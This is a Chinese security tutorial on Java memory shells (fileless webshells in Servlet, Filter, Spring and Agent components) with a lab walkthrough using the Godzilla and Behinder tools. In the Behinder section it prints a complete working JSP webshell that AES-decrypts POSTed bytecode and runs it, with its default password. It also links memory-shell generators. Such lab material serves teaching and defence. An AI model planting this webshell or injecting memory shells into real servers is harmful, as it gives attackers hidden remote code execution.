Java内存马1

约 7 分钟读完

Java内存马(Memory Shell)是一种无文件形式的恶意代码,它直接注入到Java应用程序的内存中运行,通过利用Java Web容器或框架的组件实现隐蔽的远程控制。由于其无文件特性,它能够规避传统的安全检测手段,成为现代攻防对抗中的高级威胁。

🔍 Java内存马的核心特点

  1. ​无文件驻留​​ 内存马完全驻留在JVM内存中,不写入磁盘,因此传统杀毒软件的文件扫描难以检测。
  2. ​高隐蔽性​​ 通过动态技术植入到Servlet、Filter、Controller等合法组件中,与正常业务代码混合执行,不易被日志或监控发现。
  3. ​持久化能力​​ 通过修改组件配置或劫持类加载器,确保服务重启后仍能重新激活。例如,在Tomcat中动态注册Filter并映射到全局URL模式。
  4. ​跨平台性​​ 依赖JVM的跨平台特性,可在Windows、Linux等多种操作系统上运行。

⚙️ 常见类型与工作原理

内存马通常利用漏洞或已有Webshell作为跳板,通过反射机制动态注入恶意组件。以下是主要类型:

​类型​ ​攻击原理​ ​触发条件​
​Servlet/Filter/Listener型​ 篡改Tomcat等容器的组件,例如注册恶意Filter拦截所有请求。 请求路径匹配预设的URL模式。
​框架型​ 针对Spring等框架,动态注册Controller或Interceptor。 匹配框架路由规则。
​Agent型​ 利用Java Agent技术修改已加载类的字节码,Hook关键方法如doFilter 类被调用时自动执行恶意逻辑。
​中间件型​ 针对Tomcat Valve、WebLogic组件等,在请求处理链中插入恶意模块。 请求经过中间件处理链。
​植入流程​​一般分为三步:
  1. ​制作恶意组件​​:实现Servlet、Filter等接口,重写方法以执行命令。
  2. ​注入内存​​:通过类加载器加载恶意字节码。
  3. ​模拟注册​​:获取上下文,将组件绑定到URL路由。

简单演示

靶场

准备一个文件上传的靶场, 上传jsp文件 我的靶场:https://gitee.com/your_db_password-sec/source/blob/master/Java%E5%86%85%E5%AD%98%E9%A9%AC/upload-demo.war 下载后放在tomcat目录webapps下 然后启动tomcat,自会生成upload-demo目录, 然后访问8080端口/upload-demo目录

哥斯拉

首先以哥斯拉为例, 打开哥斯拉, 生成一个jsp马 生成后保存到本地, 然后上传到靶场 可以看到上传成功 , 然后添加到哥斯拉 文件地址:http://YOUR_IP:8080/upload-demo/Upload/test.jsp

添加成功后右键进入, 有memoryshell一栏, 即注入内存马 点击run后注入. 然后重新添加一个 连接成功即注入成功.

冰蝎V4.1

webshell如下, 或者选择自带的, 在冰蝎的server目录下, 自带的shell.jsp不适用高版本jdk

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,java.util.Base64"%>
<%!
class U extends ClassLoader{
    U(ClassLoader c){
        super(c);
    }
    public Class g(byte []b){
        return super.defineClass(b,0,b.length);
    }
}
%>
<%
if (request.getMethod().equals("POST")){
    String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
    session.putValue("u",k);
    Cipher c=Cipher.getInstance("AES");
    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
    new U(this.getClass().getClassLoader())
        .g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine())))
        .newInstance()
        .equals(pageContext);
}
%>

该该文件上传到靶场 然后使用冰蝎连接, 密码rebeyond 连接成功后右键注入内存马

注入后会自动添加 发现冰蝎注入后无法建立连接, 可能是没有对应靶场类型的内存马, 内存马分类型. 冰蝎注入的过程如上

其他工具

其他工具诸如游魂, 蚁剑等注入内存马效果类似. 蚁剑配合插件使用

内存马生成项目:

https://github.com/ReaJason/MemShellParty https://github.com/pen4uin/java-memshell-generator

注意

注入内存马的前提通常是已经成功获取 WebShell或类似的初始访问权限, 因为:

内存马是直接在服务器内存中注入恶意代码逻辑(如恶意 Filter、Listener、Servlet 等),它依赖于对服务器运行时环境(如 Java 应用的 ClassLoader、容器上下文等)的访问和操控能力。 而 WebShell 是 “获取初始访问权限” 的关键:

  • 它能让攻击者在目标服务器上执行自定义代码(如命令执行、文件操作等)。
  • 更重要的是,WebShell 提供了与服务器运行时环境交互的入口(比如 JSP WebShell 可直接操作 pageContext、ServletContext 等容器对象)。
← Fastjson漏洞汇总 Servlet内存马 →